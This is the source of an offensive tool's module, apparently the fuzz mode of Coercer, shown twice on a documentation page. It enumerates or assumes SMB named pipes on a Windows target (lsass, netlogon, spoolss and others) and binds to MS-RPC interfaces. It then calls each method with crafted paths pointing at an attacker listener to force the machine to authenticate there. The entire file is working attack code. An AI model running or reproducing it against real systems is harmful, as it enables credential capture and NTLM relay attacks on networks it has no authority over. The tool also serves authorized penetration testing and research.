coercer.core.modes.fuzz
1#!/usr/bin/env python3 2# -*- coding: utf-8 -*- 3# File name : fuzz.py 4# Author : Podalirius (@podalirius_) 5# Date created : 18 Sep 2022 6 7 8import time 9from coercer.core.Filter import Filter 10from coercer.core.utils import generate_exploit_templates, generate_exploit_path_from_template 11from coercer.network.DCERPCSession import DCERPCSession 12from coercer.structures.TestResult import TestResult 13from coercer.network.authentications import trigger_and_catch_authentication 14from coercer.network.smb import can_connect_to_pipe, can_bind_to_interface, list_remote_pipes 15from coercer.network.utils import get_ip_addr_to_listen_on, get_next_http_listener_port 16 17 18def action_fuzz(target, available_methods, options, credentials, reporter): 19 filter = Filter( 20 filter_method_name=options.filter_method_name, 21 filter_protocol_name=options.filter_protocol_name, 22 filter_pipe_name=options.filter_pipe_name 23 ) 24 25 http_listen_port = 0 26 27 # Preparing pipes ============================================================================================================== 28 29 named_pipe_of_remote_machine = [] 30 if credentials.is_anonymous(): 31 reporter.print_verbose("Cannot list SMB pipes with anonymous login, using list of known pipes") 32 named_pipe_of_remote_machine = [ 33 r'\PIPE\atsvc', 34 r'\PIPE\efsrpc', 35 r'\PIPE\epmapper', 36 r'\PIPE\eventlog', 37 r'\PIPE\InitShutdown', 38 r'\PIPE\lsass', 39 r'\PIPE\lsarpc', 40 r'\PIPE\LSM_API_service', 41 r'\PIPE\netdfs', 42 r'\PIPE\netlogon', 43 r'\PIPE\ntsvcs', 44 r'\PIPE\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 45 r'\PIPE\scerpc', 46 r'\PIPE\spoolss', 47 r'\PIPE\srvsvc', 48 r'\PIPE\VBoxTrayIPC-Administrator', 49 r'\PIPE\W32TIME_ALT', 50 r'\PIPE\wkssvc' 51 ] 52 if options.verbose: 53 print("[debug] Using integrated list of %d SMB named pipes." % len(named_pipe_of_remote_machine)) 54 else: 55 named_pipe_of_remote_machine = list_remote_pipes(target, credentials) 56 if options.verbose: 57 print("[debug] Found %d SMB named pipes on the remote machine." % len(named_pipe_of_remote_machine)) 58 59 kept_pipes_after_filters = [] 60 for pipe in named_pipe_of_remote_machine: 61 if filter.pipe_matches_filter(pipe): 62 kept_pipes_after_filters.append(pipe) 63 if len(kept_pipes_after_filters) == 0 and not credentials.is_anonymous(): 64 print("[!] No SMB named pipes matching filter --filter-pipe-name '%s' were found on the remote machine." % options.filter_pipe_name) 65 return None 66 elif len(kept_pipes_after_filters) == 0 and credentials.is_anonymous(): 67 print("[!] No SMB named pipes matching filter --filter-pipe-name '%s' were found in the list of known named pipes." % options.filter_pipe_name) 68 return None 69 else: 70 named_pipe_of_remote_machine = kept_pipes_after_filters 71 72 # Preparing tasks ============================================================================================================== 73 74 tasks = {} 75 for method_type in available_methods.keys(): 76 for category in sorted(available_methods[method_type].keys()): 77 for method in sorted(available_methods[method_type][category].keys()): 78 instance = available_methods[method_type][category][method]["class"] 79 80 if filter.method_matches_filter(instance): 81 for access_type, access_methods in instance.access.items(): 82 if access_type not in tasks.keys(): 83 tasks[access_type] = {} 84 85 # Access through SMB named pipe 86 if access_type == "ncan_np": 87 for access_method in access_methods: 88 namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"] 89 # if filter.pipe_matches_filter(namedpipe): 90 if uuid not in tasks[access_type].keys(): 91 tasks[access_type][uuid] = {} 92 93 if version not in tasks[access_type][uuid].keys(): 94 tasks[access_type][uuid][version] = [] 95 96 if instance not in tasks[access_type][uuid][version]: 97 tasks[access_type][uuid][version].append(instance) 98 99 # Executing tasks ======================================================================================================================= 100 101 listening_ip = get_ip_addr_to_listen_on(target, options) 102 if options.verbose: 103 print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port)) 104 exploit_paths = generate_exploit_templates() 105 106 # Processing ncan_np tasks 107 ncan_np_tasks = tasks["ncan_np"] 108 for namedpipe in sorted(named_pipe_of_remote_machine): 109 if can_connect_to_pipe(target, namedpipe, credentials): 110 print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe) 111 for uuid in sorted(ncan_np_tasks.keys()): 112 for version in sorted(ncan_np_tasks[uuid].keys()): 113 if can_bind_to_interface(target, namedpipe, credentials, uuid, version): 114 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 115 116 for msprotocol_class in sorted(ncan_np_tasks[uuid][version], key=lambda x: x.function["name"]): 117 118 if options.only_known_exploit_paths: 119 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 120 121 stop_exploiting_this_function = False 122 for listener_type, exploitpath in exploit_paths: 123 124 if stop_exploiting_this_function: 125 # Got a nca_s_unk_if response, this function does not listen on the given interface 126 continue 127 if listener_type == "http": 128 http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options) 129 130 exploitpath = generate_exploit_path_from_template( 131 template=exploitpath, 132 listener=listening_ip, 133 http_listen_port=http_listen_port, 134 smb_listen_port=options.smb_port 135 ) 136 137 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 138 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 139 dcerpc.connect_ncacn_np(target=target, pipe=namedpipe) 140 141 if dcerpc.session is not None: 142 dcerpc.bind(interface_uuid=uuid, interface_version=version) 143 if dcerpc.session is not None: 144 reporter.print_testing(msprotocol_rpc_instance) 145 146 result = trigger_and_catch_authentication( 147 options=options, 148 dcerpc_session=dcerpc.session, 149 target=target, 150 method_trigger_function=msprotocol_rpc_instance.trigger, 151 listenertype=listener_type, 152 listen_ip=listening_ip, 153 http_port=http_listen_port 154 ) 155 156 reporter.report_test_result( 157 uuid=uuid, version=version, namedpipe=namedpipe, 158 msprotocol_rpc_instance=msprotocol_rpc_instance, 159 result=result, 160 exploitpath=exploitpath 161 ) 162 163 if result == TestResult.NCA_S_UNK_IF: 164 stop_exploiting_this_function = True 165 166 if options.delay is not None: 167 # Sleep between attempts 168 time.sleep(options.delay) 169 else: 170 if options.verbose: 171 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 172 else: 173 if options.verbose: 174 print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)
def
action_fuzz(target, available_methods, options, credentials, reporter):
19def action_fuzz(target, available_methods, options, credentials, reporter): 20 filter = Filter( 21 filter_method_name=options.filter_method_name, 22 filter_protocol_name=options.filter_protocol_name, 23 filter_pipe_name=options.filter_pipe_name 24 ) 25 26 http_listen_port = 0 27 28 # Preparing pipes ============================================================================================================== 29 30 named_pipe_of_remote_machine = [] 31 if credentials.is_anonymous(): 32 reporter.print_verbose("Cannot list SMB pipes with anonymous login, using list of known pipes") 33 named_pipe_of_remote_machine = [ 34 r'\PIPE\atsvc', 35 r'\PIPE\efsrpc', 36 r'\PIPE\epmapper', 37 r'\PIPE\eventlog', 38 r'\PIPE\InitShutdown', 39 r'\PIPE\lsass', 40 r'\PIPE\lsarpc', 41 r'\PIPE\LSM_API_service', 42 r'\PIPE\netdfs', 43 r'\PIPE\netlogon', 44 r'\PIPE\ntsvcs', 45 r'\PIPE\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 46 r'\PIPE\scerpc', 47 r'\PIPE\spoolss', 48 r'\PIPE\srvsvc', 49 r'\PIPE\VBoxTrayIPC-Administrator', 50 r'\PIPE\W32TIME_ALT', 51 r'\PIPE\wkssvc' 52 ] 53 if options.verbose: 54 print("[debug] Using integrated list of %d SMB named pipes." % len(named_pipe_of_remote_machine)) 55 else: 56 named_pipe_of_remote_machine = list_remote_pipes(target, credentials) 57 if options.verbose: 58 print("[debug] Found %d SMB named pipes on the remote machine." % len(named_pipe_of_remote_machine)) 59 60 kept_pipes_after_filters = [] 61 for pipe in named_pipe_of_remote_machine: 62 if filter.pipe_matches_filter(pipe): 63 kept_pipes_after_filters.append(pipe) 64 if len(kept_pipes_after_filters) == 0 and not credentials.is_anonymous(): 65 print("[!] No SMB named pipes matching filter --filter-pipe-name '%s' were found on the remote machine." % options.filter_pipe_name) 66 return None 67 elif len(kept_pipes_after_filters) == 0 and credentials.is_anonymous(): 68 print("[!] No SMB named pipes matching filter --filter-pipe-name '%s' were found in the list of known named pipes." % options.filter_pipe_name) 69 return None 70 else: 71 named_pipe_of_remote_machine = kept_pipes_after_filters 72 73 # Preparing tasks ============================================================================================================== 74 75 tasks = {} 76 for method_type in available_methods.keys(): 77 for category in sorted(available_methods[method_type].keys()): 78 for method in sorted(available_methods[method_type][category].keys()): 79 instance = available_methods[method_type][category][method]["class"] 80 81 if filter.method_matches_filter(instance): 82 for access_type, access_methods in instance.access.items(): 83 if access_type not in tasks.keys(): 84 tasks[access_type] = {} 85 86 # Access through SMB named pipe 87 if access_type == "ncan_np": 88 for access_method in access_methods: 89 namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"] 90 # if filter.pipe_matches_filter(namedpipe): 91 if uuid not in tasks[access_type].keys(): 92 tasks[access_type][uuid] = {} 93 94 if version not in tasks[access_type][uuid].keys(): 95 tasks[access_type][uuid][version] = [] 96 97 if instance not in tasks[access_type][uuid][version]: 98 tasks[access_type][uuid][version].append(instance) 99 100 # Executing tasks ======================================================================================================================= 101 102 listening_ip = get_ip_addr_to_listen_on(target, options) 103 if options.verbose: 104 print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port)) 105 exploit_paths = generate_exploit_templates() 106 107 # Processing ncan_np tasks 108 ncan_np_tasks = tasks["ncan_np"] 109 for namedpipe in sorted(named_pipe_of_remote_machine): 110 if can_connect_to_pipe(target, namedpipe, credentials): 111 print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe) 112 for uuid in sorted(ncan_np_tasks.keys()): 113 for version in sorted(ncan_np_tasks[uuid].keys()): 114 if can_bind_to_interface(target, namedpipe, credentials, uuid, version): 115 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 116 117 for msprotocol_class in sorted(ncan_np_tasks[uuid][version], key=lambda x: x.function["name"]): 118 119 if options.only_known_exploit_paths: 120 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 121 122 stop_exploiting_this_function = False 123 for listener_type, exploitpath in exploit_paths: 124 125 if stop_exploiting_this_function: 126 # Got a nca_s_unk_if response, this function does not listen on the given interface 127 continue 128 if listener_type == "http": 129 http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options) 130 131 exploitpath = generate_exploit_path_from_template( 132 template=exploitpath, 133 listener=listening_ip, 134 http_listen_port=http_listen_port, 135 smb_listen_port=options.smb_port 136 ) 137 138 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 139 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 140 dcerpc.connect_ncacn_np(target=target, pipe=namedpipe) 141 142 if dcerpc.session is not None: 143 dcerpc.bind(interface_uuid=uuid, interface_version=version) 144 if dcerpc.session is not None: 145 reporter.print_testing(msprotocol_rpc_instance) 146 147 result = trigger_and_catch_authentication( 148 options=options, 149 dcerpc_session=dcerpc.session, 150 target=target, 151 method_trigger_function=msprotocol_rpc_instance.trigger, 152 listenertype=listener_type, 153 listen_ip=listening_ip, 154 http_port=http_listen_port 155 ) 156 157 reporter.report_test_result( 158 uuid=uuid, version=version, namedpipe=namedpipe, 159 msprotocol_rpc_instance=msprotocol_rpc_instance, 160 result=result, 161 exploitpath=exploitpath 162 ) 163 164 if result == TestResult.NCA_S_UNK_IF: 165 stop_exploiting_this_function = True 166 167 if options.delay is not None: 168 # Sleep between attempts 169 time.sleep(options.delay) 170 else: 171 if options.verbose: 172 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 173 else: 174 if options.verbose: 175 print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)